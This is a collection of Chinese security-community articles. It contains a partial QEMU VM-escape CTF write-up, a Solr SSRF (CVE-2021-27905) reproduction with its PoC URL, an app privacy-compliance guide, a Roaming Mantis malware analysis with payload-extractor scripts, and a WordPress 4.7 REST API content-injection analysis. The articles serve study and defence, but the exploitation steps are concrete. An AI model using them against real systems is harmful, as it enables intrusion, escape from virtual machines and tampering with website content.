因此另外两个0x30大小的PMIO空间以及0x20000大小的MMIO空间看起来似乎是vga的地址空间，根据师傅们的writeup以及[Mapping of
Display Memory into CPU Address Space
](http://www.osdever.net/FreeVGA/vga/vgamem.htm)和[Addressing
details](https://en.wikipedia.org/wiki/Video_Graphics_Array#Addressing_details)可以知道，地址`000a0000-000bffff`确实是vga的空间。
有了源码的参考看起来会方便很多，接下来对比二者，以找到题目中什么地方被修改了。经过比对，最主要的变化是在`cydf_vga_mem_write`函数，同时在`CydfVGAState`结构体中加入了两个字段：
000133D8 vs VulnState_0 16 dup(?)
000134D8 latch dd 4 dup(?)
`VulnState`的定义为：
00000000 VulnState_0 struc ; (sizeof=0x10, align=0x8, copyof_4201)
00000000 ; XREF: CydfVGAState/r
00000000 ; CydfVGAState_0/r
00000000 buf dq ? ; offset
00000008 max_size dd ?
0000000C cur_size dd ?
00000010 VulnState_0 ends
接下来看`cydf_vga_mem_write`函数存在区别的部分主要的内容是什么（漏洞是什么）：
void __fastcall cydf_vga_mem_write(CydfVGAState *opaque, hwaddr addr, uint64_t mem_value, uint32_t size)
{
...
if ( !(opaque->vga.sr[7] & 1) )
{
vga_mem_writeb(&opaque->vga, addr, mem_value);
return;
}
if ( addr <= 0xFFFF )
{
...
}
if ( addr - 0x18000 <= 0xFF )
{
...
}
else
{
v6 = 205 * opaque->vga.sr[0xCC];
LOWORD(v6) = opaque->vga.sr[0xCC] / 5u;
cmd = opaque->vga.sr[0xCC] - 5 * v6;
if ( *(_WORD *)&opaque->vga.sr[0xCD] ) // cmd = sr[0xcc]%5
LODWORD(mem_value) = (opaque->vga.sr[0xCD] << 16) | (opaque->vga.sr[0xCE] << 8) | mem_value; // idx=sr[0xcd]
if ( (_BYTE)cmd == 2 ) // cmd 2 printf buff
{
idx = BYTE2(mem_value);
if ( idx <= 0x10 )
{
v25 = (char *)*((_QWORD *)&opaque->vga.vram_ptr + 2 * (idx + 0x133D));
if ( v25 )
__printf_chk(1LL, v25);
}
}
else
{
if ( (unsigned __int8)cmd <= 2u )
{
if ( (_BYTE)cmd == 1 ) // cmd 1 vs buff[cur_size++]=value, cur_size < max_size
{
if ( BYTE2(mem_value) > 0x10uLL )
return;
v8 = (__int64)opaque + 16 * BYTE2(mem_value);
vs_buff = *(_QWORD *)(v8 + 0x133D8); // 0x133d8 vuln_state buff
if ( !vs_buff )
return;
cur_size = *(unsigned int *)(v8 + 0x133E4);// 0x133e4 cur_size
if ( (unsigned int)cur_size >= *(_DWORD *)(v8 + 0x133E0) )// 0x133e0 max_size
return;
LABEL_26:
*(_DWORD *)(v8 + 0x133E4) = cur_size + 1;
*(_BYTE *)(vs_buff + cur_size) = mem_value;
return;
}
goto LABEL_35;
}
if ( (_BYTE)cmd != 3 )
{
if ( (_BYTE)cmd == 4 ) // cmd 4 vs buff[cur_size++]=value, no cur_size check
{
if ( BYTE2(mem_value) > 0x10uLL )
return;
v8 = (__int64)opaque + 16 * BYTE2(mem_value);
vs_buff = *(_QWORD *)(v8 + 0x133D8);
if ( !vs_buff )
return;
cur_size = *(unsigned int *)(v8 + 0x133E4);
if ( (unsigned int)cur_size > 0xFFF )
return;
goto LABEL_26;
}
LABEL_35:
v20 = vulncnt;
if ( vulncnt <= 0x10 && (unsigned __int16)mem_value <= 0x1000uLL )// cmd 0 vs buff[vulcnt]=malloc(value)
{
mem_valuea = mem_value;
ptr = malloc((unsigned __int16)mem_value);
v22 = (__int64)opaque + 16 * v20;
*(_QWORD *)(v22 + 0x133D8) = ptr;
if ( ptr )
{
vulncnt = v20 + 1;
*(_DWORD *)(v22 + 0x133E0) = mem_valuea;
}
}
return;
}
if ( BYTE2(mem_value) <= 0x10uLL ) // cmd 1 set max_size
{
v23 = (__int64)opaque + 16 * BYTE2(mem_value);
if ( *(_QWORD *)(v23 + 0x133D8) )
{
if ( (unsigned __int16)mem_value <= 0x1000u )
*(_QWORD *)(v23 + 0x133E0) = (unsigned __int16)mem_value;
}
}
}
}
}
最主要的区别是增加了`0x10000-0x18000`地址空间的处理代码，通过代码可以看到增加的功能为`vs`的处理代码，`opaque->vga.sr[0xCC]`为`cmd`，`opaque->vga.sr[0xCD]`为idx，功能描述如下：
1. cmd为0时，申请value&0xffff空间大小的堆，并放置`vs[vulncnt]`中，同时初始化`max_size`。
2. cmd为1时，设置`idx`所对应的`vs[idx]`的`max_size`为`value&0xffff`。
3. cmd为2时，`printf_chk(1,vs[idx].buff)`。
4. cmd为3时，当`cur_size<max_size`时，`vs[idx].buff[cur_sizee++]=value&0xff`。
5. cmd为4时，`vs[idx].buff[cur_sizee++]=value&0xff`。
漏洞主要有两个地方：
* 一个是堆溢出。cmd为4时，可以设置`max_size`，对`max_size`没有进行检查也没有对堆块进行`realloc`，后续按这个size进行写，导致溢出。
* 另一个是数组越界。idx最多可以为0x10，即最多可以寻址`vs[0x10]`，而`vs`大小只有16，即`vs[0xf]`。vs[0x10]则士后面的`latch[0]`，导致会越界访问到后面的latch数组的第一个元素。
还有要解决的问题就是如何触发漏洞代码。除了`addr`之外，还需要使得`(opaque->vga.sr[7]&1
==1)`以绕过前面的`if`判断、设置`opaque->vga.sr[0xCC]`来设置cmd以及设置`opaque->vga.sr[0xCD]`设置idx。
在代码中可以找到`cydf_vga_ioport_write`函数中可以设置`opaque->vga.sr`。`addr`为`0x3C4`，`vulue`为`vga.sr`的`index`；当`addr`为`0x3C5`时，`value`为`vga.sr[index]`的值。从而可以通过`cydf_vga_ioport_write`设置`vga.sr[7]`、`vga.sr[0xCC]`以及`vga.sr[0xCD]`。
还需要说明的是可以通过`cydf_vga_mem_read`函数来设置`opaque->latch[0]`，`latch[0]`刚好是`vs`越界访问到的元素。
uint64_t __fastcall cydf_vga_mem_read(CydfVGAState *opaque, hwaddr addr, uint32_t size)
{
...
latch = opaque->latch[0];
if ( !(_WORD)latch )
{
v4 = (opaque->vga.sr[7] & 1) == 0;
opaque->latch[0] = addr | latch; // set latch low dword
if ( !v4 )
goto LABEL_3;
return vga_mem_readb(&opaque->vga, addr);
}
v4 = (opaque->vga.sr[7] & 1) == 0;
opaque->latch[0] = (_DWORD)addr << 16; // set latch high word
if ( v4 )
return vga_mem_readb(&opaque->vga, addr);
...
## 利用
漏洞已经清楚了，利用则可以利用数组越界漏洞来实现任意地址写。具体原理为：可以通过`cydf_vga_mem_read`函数将`opaque->latch[0]`设置成想要写的任意地址；再将`opaque->vga.sr[0xCD]`（idx）设置成0x10，再往`vs[0x10]`写数据时即实现了往任意地址（`latch[0]`中的地址）写数据。
在代码中存在`qemu_log`函数，关键代码如下：
int qemu_log(const char *fmt, ...)
{
...
if ( qemu_logfile )
{
...
ret = vfprintf(qemu_logfile, fmt, va);
...
}
...
}
且因为程序没有开PIE，结合上面的`qemu_log`函数，可以做到只利用任意地址写就能实现任意命令执行。具体利用的步骤则如下：
1. 往bss段数据中写入要执行的命令`cat /root/flag`。
2. 将该bss地址写入到全局变量`qemu_logfile`中。
3. 将`vfprintf`函数got表覆盖为`system`函数的plt表地址。
4. 将`printf_chk`函数got表覆盖为`qemu_log`函数的地址。
5. 利用cmd为2时，触发`printf_chk`，最终实现system函数的调用，同时参数也可控。
最后一个问题，该如何去交互。以往都是用户态打开对应的`resource0`文件进行映射，实现mmio的访问。但是这次`000a0000-000bffff`地址空间不知道该打开哪个文件去映射。访问该地址空间才可以实现对`cydf_vga_mem_write`以及`cydf_vga_mem_read`的访问。
这时我们可以利用`/dev/mem`文件，[`dev/mem`](https://yq.aliyun.com/articles/592075)是物理内存的全映像，可以用来访问物理内存，用mmap来访问物理内存以及外设的IO资源，是实现用户空间驱动的一种方法。具体可以`man
mem`去查看详情。
调用`cydf_vga_ioport_write`去设置`opaque->vga.sr[]`以及`opaque->vga.sr_index`，有两种方式（exp中使用的是前者）可以实现对`cydf_vga_ioport_write`函数的调用：
一种是利用访问`febc1000-febc1fff`地址空间，触发`cydf_mmio_write`从而实现对
`cydf_vga_ioport_write`的调用。
void __fastcall cydf_mmio_write(CydfVGAState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
if ( addr > 0xFF )
cydf_mmio_blt_write(opaque, addr - 0x100, val);
else
cydf_vga_ioport_write(opaque, addr + 0x10, val, size);
}
一种是直接利用PMIO，`out`类指令以及`in`类指令直接对相应的`0x3b0 - 0x3df`端口进行访问，实现对该函数的调用。
## 小结
即使做完了这题，对于vga设备的原理还是不太了解，还是有很多的事值得去做、需要去做。
感觉这部分应该有不少是我理解错误了的或者没考虑到的，欢迎各位师傅对我进行指导。
相关文件与脚本[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/seccon-2018-q-escape)
## 参考链接
1. [使用 monitor command 监控 QEMU 运行状态](https://www.xuebuyuan.com/3206943.html)
2. [Linux中通过/dev/mem操控物理地址](https://yq.aliyun.com/articles/592075)
3. [Mapping of Display Memory into CPU Address Space](http://www.osdever.net/FreeVGA/vga/vgamem.htm)
4. [SECCON2018_online_CTF/q-escape](https://github.com/SECCON/SECCON2018_online_CTF/tree/master/Pwn/q-escape)
5. [seccon 2018 - q-escape](https://uaf.io/exploitation/2018/11/22/seccon-2018-q-escape.html)
6. [q-escape - SECCON 2018](https://devcraft.io/2018/11/22/q-escape-seccon-2018.html)
7. [cirrus_vga.c](https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga.c) | 社区文章 |
# CVE-2021-27905 Apache Solr SSRF 复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞分析
<https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md>
相应的补丁：
<https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7>
根据补丁以及漏洞描述可以确定 bug 出在当进行 replication 操作时对传入的 masterUrl 参数 Solr
未对其做白名单过滤导致，补丁则是增加了对该参数的过滤。
构造PoC过程中主要参考文档：
<https://solr.apache.org/guide/6_6/index-replication.html>
这里基本已经说明什么情况下才需要传masterUrl了
然后根据command=fetchindex和masterUrl就可以得到PoC的格式
[http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://xxx](http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://xxx)
紧急分析出PoC后又看了下这里的功能是在干嘛，solr
支持配置两个core，分别是主(master)和从(slave)，我们可以主动控制让从(slave)去获取主的备份，而master的地址在配置文件可以配置，也允许请求者指定。
根据文档要复现这个漏洞需要将本地的Solr作为slave，默认solr就有多个core，这里选定任意一个db
根据路径修改它的solrconfig.xml(配置文件)，添加如下代码：
<requestHandler name="/replication" class="solr.ReplicationHandler" >
<lst name="slave">
<str name="masterUrl">http://localhost/solr/db</str>
<str name="pollInterval">00:00:20</str>
</lst>
</requestHandler>
因为PoC 会传入masterUrl，所以这里masterUrl就随便写的。PoC:
http://127.0.0.1:8983/solr/db/replication\?command=fetchindex\&masterUrl=http://xxxx:9999
## 复现结果：
## 限制
所以这个漏洞的限制条件也就显而易见了：
1、Solr 必须配置主从模式
2、受影响的是从(slave)服务器 | 社区文章 |
# APP合规开发指南
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
围绕工信部开展的《APP侵害用户权益专项整治》337号函、《纵深推进APP侵害用户权益专项整治行动》164号函涉及的相关要求，展开说说，在APP开发过程中技术层面的合规注意事项。
## 一、违规收集个人信息、违规使用个人信息
· 问题类型：APP、SDK未告知用户收集个人信息的目的、方式、范围且未经用户同意，私自收集用户个人信息的行为。
·
问题类型：APP、SDK未向用户告知且未经用户同意，私自使用个人信息，将用户个人信息用于其提供服务之外的目的，特别是私自向其他应用或服务器发送、共享用户个人信息的行为。
根据《个人信息安全规范》、《移动互联网应用程序(App)收集个人信息基本要求》中的定义，个人信息指“以电子或其他方式能够单独或与其他信息结合识别特定自然人身份或反映特定自然人活动情况的各种信息。”除了常规理解的姓名、出生日期、身份证号码、生物特征信息、通讯录、本机号码等个人信息，在APP开发层面还会涉及到各种设备信息，因其不可变更的唯一性或追踪属性，同样也在个人信息范畴内。
· Android系统：IMEI、MAC地址、MEID、IMSI、SN、ICCID等设备唯一标识符，Android ID、WiFi（WiFi名称、WiFi
MAC地址以及设备扫描到的所有WiFi信息），SIM卡信息（IMSI、SIM卡序列号ICCID、手机号、运营商信息），应用安装列表（设备所有已安装应用的包名和应用名），传感器（传感器列表、加速度传感器、温度传感器等），蓝牙信息（设备蓝牙地址和设备扫描到的蓝牙设备信息），基站定位、GPS（用户地理位置信息），账户（各类应用注册的不同账号信息）、剪切板、IP地址、硬件序列号、SDCard信息（公有目录）等。
· iOS系统：IDFA，IDFV，WiFi（bssid, ssid）,
GPS，运营商，传感器（加速器、陀螺仪、磁力器）、IP地址等。尤其注意苹果上架会检测是否调用TrueDepth APIs（面部追踪）。
1、用户同意《隐私政策》前不应收集任何个人信息，注意APP、引入SDK的初始化时机，主要涉及以下两个场景：
· 同意《隐私政策》弹窗前不进行调用
· 不同意《隐私政策》弹窗进入APP时不进行调用（访客态或停留在APP内）
2、对APP、SDK收集的个人信息包括设备信息在《隐私政策》中进行详细的收集声明，对于无使用需求的SDK不应接入（注意，若使用海外SDK则涉及跨境传输问题）。
3、SDK应接入官方最新版本（工信逐步开展对SDK的合规检测，SDK也在逐步合规化）：
· 结合官方合规接入指南，注意不要在未同意隐私政策前初始化收集信息。
· SDK无合理必要功能不能超范围收集信息，如，非定位型SDK默认收集位置信息等。
✅ 比如某 PUSH SDK 旧版本存在漏洞，导致攻击者可以窃取用户隐私信息，应及时更新到最新版
## 二、超范围收集个人信息
· 问题类型：APP、SDK非服务所必需或无合理应用场景，特别是在静默状态下或在后台运行时，超范围收集个人信息的行为。
1、非必要功能后台及静默运行时不收集信息，注意不要设计轮询机制（如，一些定位SDK设置固定n分钟收集信息）。
❌ 每隔一分钟请求一次位置更新：
2、收集频率尽可能保证全局只收集1次（最多不超过3次），收集频次不要超过1次/秒。注意：
· 非必要情况下，禁止每使用一次用户信息，就调用API获取一次用户个人信息。
· 建议通过缓存技术将收集的用户信息储存在缓存中，当需要使用用户信息时从缓存中调用。
✅ 将Android ID保存到缓存中，从缓存中读取：
3、默认不调用全量应用列表或不通过shell命令获取全量应用列表。
调用应用列表相关方法包括但不限于：
getInstalledApplications
getInstalledApplicationsAsUser
getInstalledPackages
getInstalledPackagesAsUser
queryIntentActivitiesAsUser（此方法可以输出包名，如果输出了手机已安装应用的全部包名就属于全量）
4、注册流程中不应强制申请权限，因用户拒绝授权而影响注册登录，会被认定为过度索权，即拒绝非必要信息影响正常注册登录。注册必要信息建议参考网信《常见类型移动互联网应用程序必要个人信息范围规定》
<http://www.cac.gov.cn/2021-03/22/c_1617990997054277.htm>
5、按Home键退出APP后（后台静默状态下），APP或SDK不能有收集行为。
三、APP强制、频繁、过度索取权限
1、调用时机：需遵循场景化授权，即在服务所必要的场景中，用户主动触发功能后申请，在用户主动触发前不应有相关调用行为。
2、权限声明：不需要的权限不应在Android的manifest.xml文件、iOS的info.plist声明，且Android系统中targetSDKVersion应不低于23。
3、敏感权限（通讯录、定位、相册（存储）、相机、麦克风等）：Android端申请时用顶栏浮窗等形式同步告知目的，iOS端可直接编辑系统弹窗。
✅ Android端顶栏浮窗代码实现示例
4、APP运行时场景化向用户申请授权，用户拒绝授权后，APP不应退出、关闭、循环弹窗申请权限使用户无法继续使用或者影响正常注册或登录。
❌ 用户拒绝授权APP退出或关闭
❌ 用户拒绝授权重复向用户申请权限，使用户陷入弹窗循环
5、电话权限（READ_PHONE_STATE）：属于Android系统权限，APP可通过此权限获取设备
IMSI（国际移动用户识别码）、IMEI（国际移动设备识别码）等设备唯一标识信息，建议不做申请。不可变更的唯一设备标识（IMEI、MAC地址、MEID、IMSI、SN、ICCID），建议采用可变标识（AndroidID、OAID等）代替。
❌ 收集不可变更的唯一设备标识：
6、存储权限（android.permission-group.STORAGE/photos）：安卓申请存储权限可用mediastore或SAF框架实现，iOS可用进程外选取器或共享列表替代申请photos权限，不能频繁提示用户更改授权方式。
7、特殊敏感权限（设备管理器、辅助功能、监听通知栏、悬浮窗）：需APP内弹窗，用户单独同意授权后才能使用。 | 社区文章 |
本文翻译自：<https://securelist.com/roaming-mantis-part-3/88071/>
* * *
2018年2季度，卡巴斯基实验室发布了2篇分析Roaming Mantis的文章。分别是：
* Roaming Mantis通过DNS劫持攻击手机 <https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/>
* Roaming Mantis用DNS劫持来感染安卓智能手机<https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/>
该犯罪集团最初在有漏洞的路由器中使用DNS劫持来传播Roaming Mantis的恶意安卓应用（aka
MoqHao和XLoader）。随着研究的深入，研究人员发现Roaming
Mantis相当活跃，而且进化速度非常快。该组织的恶意软件目前支持27种语言，覆盖亚洲、欧洲和中东的大部分国家。除此之外，还使用web加密货币挖矿和iOS设备钓鱼。
Roaming Mantis组织的活动并没有收敛，还不断发起新的攻击活动，并将其非法获利方式改为对iOS设备加密货币挖矿，通过恶意内容传播系统传播。
本文主要分享与Roaming Mantis相关的最新发现。
# 针对iOS设备的web加密货币挖矿
之前针对iOS设备的攻击是使用Apple钓鱼站点来窃取凭证。现在将恶意加载页的HTML代码修改为：
上面的代码显示关闭了重定向到伪造的Apple门户（钓鱼页面），并加入了web挖矿脚本代码来在iOS设备上进行挖矿。
如果用户从iOS设备上访问加载页，web浏览器会显示一个空白页。但CPU使用率会马上飙升到90%。
有趣的是，在研究人员确认了这一情况后，第二天攻击者就将该页面修改回原来的钓鱼页面。研究人员猜测攻击者在测试在iOS设备上进行挖矿的收入，以寻求更有效的获利方式。
# 过滤来自日本设备
还有一点，加入加载页面的这一新功能过滤了日文环境：
看似攻击者想减缓日本目标的感染。
# 通过另一个恶意软件分发系统来传播
2018年7月，研究人员监控的加载页面下线了。但Roaming Mantis的恶意APK文件（Trojan-Banker.AndroidOS.Wroba.al）仍然在传播。
KSN统计的被检测到的用户数（2018年7月-9月）
深入分析发现该这种新的恶意软件传播方式也被另一个恶意软件sagawa.apk使用过。之前的分析文章显示感染的用户会接收到伪装为日本传播公司的通知信息的钓鱼SMS消息。消息中含有一个恶意URL，如果用户点击该URL，服务器就会展示一个伪造的web页面，web页面会下载和安装恶意应用sagawa.apk。研究人员共发现了两种类型的sagawa.apk样本：
基于详细的静态分析，这两个样本属于不同的安卓恶意软件家族。Type A 和Type
B有一些相同的特征，比如监控SMS信息和窃取数据。但代码结构、通信协议等都有差别。一个明显的区别就是Type B只攻击日本，而Type
A是多语言的。Type B会展示给受感染的用户硬编码的字符串，这些字符串是日文的。
展示在受感染设备上的日文消息
除此之外，恶意软件还会确认受感染的设备上是否安装一个日本国内的预付卡应用——Au Wallet。
如果设备上安装了该应用，恶意软件就会下载和安装一个伪造的应用，伪装成该应用的更新版本。
但截至目前，Roaming
Mantis组织与sagawa.apk传播机制的服务拥有者之间的关系还不明确。可能只是使用了相同的服务，但也可能不是。但很明显，这些犯罪组织使用相同的恶意软件传播生态系统来传播安卓恶意软件。
研究人员使用了简化的python脚本来从sagawa.apk提取payload：
**sagawa.apk_typeA_payload_extractor.py**
#!/usr/bin/env python
import sys
import zlib
import base64
data = open(sys.argv[1],"rb").read()
dec_z = zlib.decompress(data)
dec_b = base64.b64decode(dec_z)
with open(sys.argv[1]+".dec","wb") as fp:
fp.write(dec_b)
**sagawa.apk_typeB_payload_extractor.py**
#!/usr/bin/env python
import sys
from Crypto.Cipher import AES, ARC4
import base64
data = open(sys.argv[1],"rb").read()
key = sys.argv[2]
aes_key = base64.b64decode(key) // key is H8chGVmHxKRdjVSO14Mvgg== in libkao.so
aes = AES.new(aes_key)
dec = aes.decrypt(data)
with open(sys.argv[1]+".dec","wb") as fp:
fp.write(dec)
# 通过prezi.com传播
研究人员还发现Roaming
Mantis组织的另一个恶意软件传播方法与prezi.com有关。Prezi是一个主流的计算机应用和在线服务提供商，可以创建动态演示。攻击者就使用该服务来传播垃圾邮件。如果有用户访问攻击者伪造的页面，就会出现一个展示免费内容的链接，展示的免费内容包括成人视频、游戏、音乐等。
重定向到垃圾邮件页面
基于之前的研究，有多个消息使用不同的社会工程技巧诱使用户到垃圾邮件站点。Roaming Mantis的加载页也与许多执行重定向的账号有关。
prezi.com上的修改过的加载页面代码
但是代码因为有错误所以不能执行。
# 窃取的数据
Kaspersky实验室发现了从受害者设备上窃取的数据片段，从中可以看出有上千个受害者：
窃取的数据含有电话号码、日程、IP、语言、email/id、密码、姓名、出生日期、地址、信用卡信息、银行信息、中文简体的密保问题和答案。中文的第一行表头说明攻击者非常熟悉函数，但这也有可能是一个错误的标记。第一行是记录号码，可以看出7月份就有超过4800条数据。用户设备语言设定可以看出受害者所处的位置。
下面是根据语言数据创建的饼图：
从中可以看出语言分布最多是英文（39%），第二是韩语，第三是俄语。研究人员猜测英文排名分布最多是因为许多国家都把英文作为第二语言。
# 结论
Roaming
Mantis组织的攻击活动还在不断发展中。最新研究显示，攻击者用针对iOS设备的加密货币挖矿机替代了原来伪造的Apple站点，研究人员猜测这是一种尝试最大获利的方式。
另一个应用的新方法是使用恶意软件传播生态系统，这样的传播生态可能是由第三方运作的，之前也被用于传播恶意软件。在本例中，感染详细是含有恶意链接的SMS消息，该链接会指向下载sagawa.apk的伪造站点。目前还不清楚sagawa.apk与Roaming
Mantis的关系，但清楚的一点是他们使用的是系统的生态系统。
Roaming Mantis目前正通过prezi.com来传播恶意软件，该站点上会显示一个提供免费内容的垃圾邮件。
从窃取的凭证列表来看，攻击者看似从受害者哪里窃取了大量的数据。但研究人员认为这只是攻击活动的冰山一角。
研究人员建议安卓用户关闭从第三方库安装应用的选项以保证设备的安全性。如果手机发热，也有可能是隐藏的加密货币挖矿应用带来的副作用。 | 社区文章 |
作者：[Lucifaer](http://139.129.31.35/index.php)
## 0x00 漏洞简述
### 1\. 漏洞简介
在`REST API`自动包含在`Wordpress4.7`以上的版本，`WordPress REST
API`提供了一组易于使用的HTTP端点，可以使用户以简单的JSON格式访问网站的数据，包括用户，帖子，分类等。检索或更新数据与发送HTTP请求一样简单。上周，一个由`REST
API`引起的影响`WorePress4.7.0`和`4.7.1`版本的漏洞被披露，该漏洞可以导致WordPress所有文章内容可以未经验证被查看，修改，删除，甚至创建新的文章，危害巨大。
### 2\. 漏洞影响版本
* WordPress4.7.0
* WordPress4.7.1
## 0x01 漏洞复现
[Seebug](https://www.seebug.org/vuldb/ssvid-92637)上已经给出详细的复现过程，在复现过程中可以使用[已经放出的POC](https://www.exploit-db.com/exploits/41223/)来进行测试。
## 0x02 漏洞分析
其实漏洞发现者已经给出了较为详细的[分析过程](https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html)，接下来说说自己在参考了上面的分析后的一点想法。
### WP REST API
首先来说一下`REST API`。
#### 控制器
`WP-API`中采用了控制器概念，为表示自愿端点的类提供了标准模式，所有资源端点都扩展`WP_REST_Controller`来保证其实现通用方法。
#### 五种请求
之后，`WP-API`还有这么几种请求（也可以想成是功能吧）：
* HEAD
* GET
* POST
* PUT
* DELETE
以上表示HTTP客户端可能对资源执行的操作类型。
#### HTTP客户端
WordPress本身在`WP_HTTP`类和相关函数中提供了一个HTTP客户端。用于从另一个访问一个WordPress站点。
#### 资源
简单来说，就是文章，页面，评论等。
`WP-API`允许HTTP客户端对资源执行CRUD操作（创建，读取，更新，删除，这边只展示和漏洞相关的部分）：
* `GET /wp-json/wp/v2/posts`获取帖子的集合：
* `GET /wp-json/wp/v2/posts/1`获取一个ID为1的单独的Post：
可以看到ID为1的文章标题为Hello World，包括文章的路由也有。
#### 路由
路由是用于访问端点的“名称”，在URL中使用（在非法情况下可控，就像这个漏洞一样）。
例如，使用URL`http://example.com/wp-json/wp/v2/posts/123`:
* 路由（route）是`wp/v2/posts/123`，不包括`wp-json`，因为`wp-json`是API本身的基本路径。
* 这个路由有三个端点：
* GET触发一个`get_item`方法，将post数据返回给客户端。
* PUT触发一个`update_item`方法，使数据更新，并返回更新的发布数据。
* DELETE触发`delete_item`方法，将现在删除的发布数据返回给客户端。
### 静态追踪
知道了`WP-API`的路由信息以及其操作方式，可以根据其运行的思路来看一下具体实现的代码。
我们看一下`/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php`：
根据上面的信息，我们可以知道这是注册controller对象的路由，实现路由中端点方法。
在这里，如果我们向`/wp-json/wp/v2/posts/1`发送请求，则ID参数将被设置为1：
同时，注意一下这里：
register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => $get_item_args,
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Whether to bypass trash and force deletion.' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
) );
可以看到在`register_rest_route`中对路由进行了正则限制：
也就是防止攻击者恶意构造ID值，但是我们可以发现`$_GET`和`$_POST`值优先于路由正则表达式生成的值：
这边没有找到ID为`123hh`的项目，所以返回`rest_invalid`。
现在我们可以忽略路由正则的限制，来传入我们自定义的ID。
接下来在审查各个端点方法中，找到了`update_item`这个方法，及其权限检查方法`update_item_permissions_check`：
public function update_item_permissions_check( $request ) {
$post = get_post( $request['id'] );
$post_type = get_post_type_object( $this->post_type );
if ( $post && ! $this->check_update_permission( $post ) ) {
return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! $this->check_assign_terms_permission( $request ) ) {
return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
可以看到，此函数通过检查文章是否实际存在，以及我们的用户是否有权限编辑这边文章来验证请求。但是当我们发送一个没有响应文章的ID时，就可以通过权限检查，并允许继续执行对`update_item`方法的请求。
具体到代码，就是让`$post`为空，就可以通过权限检查，接下来跟进`get_post`方法中看一下：
function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
if ( empty( $post ) && isset( $GLOBALS['post'] ) )
$post = $GLOBALS['post'];
if ( $post instanceof WP_Post ) {
$_post = $post;
} elseif ( is_object( $post ) ) {
if ( empty( $post->filter ) ) {
$_post = sanitize_post( $post, 'raw' );
$_post = new WP_Post( $_post );
} elseif ( 'raw' == $post->filter ) {
$_post = new WP_Post( $post );
} else {
$_post = WP_Post::get_instance( $post->ID );
}
} else {
$_post = WP_Post::get_instance( $post );
}
if ( ! $_post )
return null;
从代码中可以看出，它是用`wp_posts`中的`get_instance`静态方法来获取文章的，跟进`wp_posts`类，位于`/wp-includes/class-wp-post.php`中：
public static function get_instance( $post_id ) {
global $wpdb;
if ( ! is_numeric( $post_id ) || $post_id != floor( $post_id ) || ! $post_id ) {
return false;
}
可以看到，当我们传入的ID不是全由数字字符组成的时候，就会返回false，也就是返回一个不存在的文章。从而`get_post`方法返回null，从而绕过`update_item_permissions_check`的权限检测。
回头再看一下可执行方法`upload_item`：
public function update_item( $request ) {
$id = (int) $request['id'];
$post = get_post( $id );
if ( empty( $id ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
}
$post = $this->prepare_item_for_database( $request );
if ( is_wp_error( $post ) ) {
return $post;
}
// convert the post object to an array, otherwise wp_update_post will expect non-escaped input.
$post_id = wp_update_post( wp_slash( (array) $post ), true );
在这边将ID参数装换为一个整数，然后传递给`get_post`。而PHP类型转换的时候回出现这样的情况：
所以，也就是说，当攻击者发起`/wp-json/wp/v2/posts/1?id=1hhh`请求时，便是发起了对ID为1的文章的请求。下面为利用[exploit-db][2]上的POC来进行测试：
* 新建文章：
* 测试：
* 测试结果：
### 多想了一下
乍一看，感觉这个洞并没有什么太大的影响，但是仔细想了一下，危害还是很大的。先不说WordPress页面执行php代码的各种插件，还有相当一部分的WordPress文章可以调用短代码的方式来输出特定的内容，以及向日志中添加内容，这是一个思路。
另一个思路就是可以进行对原来文章中的指定超链接进行修改，从而进行钓鱼。
还有一个思路，就是利用WordPress文章中解析html以及JavaScript文件包含的做法，辅助其他方法，进行攻击。
## 0x03 diff比较
对于该漏洞，关键的修改在`/wp-includes/class-wp-post.php`中：
更改了对于`$post_id`的参数的传入顺序和判断条件，防止了我们传入数字+字母这样的格式进行绕过。
## 0x04 修补方案
将WordPress更新到最新版本。
## 0x05 参考链接
* <https://www.seebug.org/vuldb/ssvid-92637>
* <https://www.exploit-db.com/exploits/41223/>
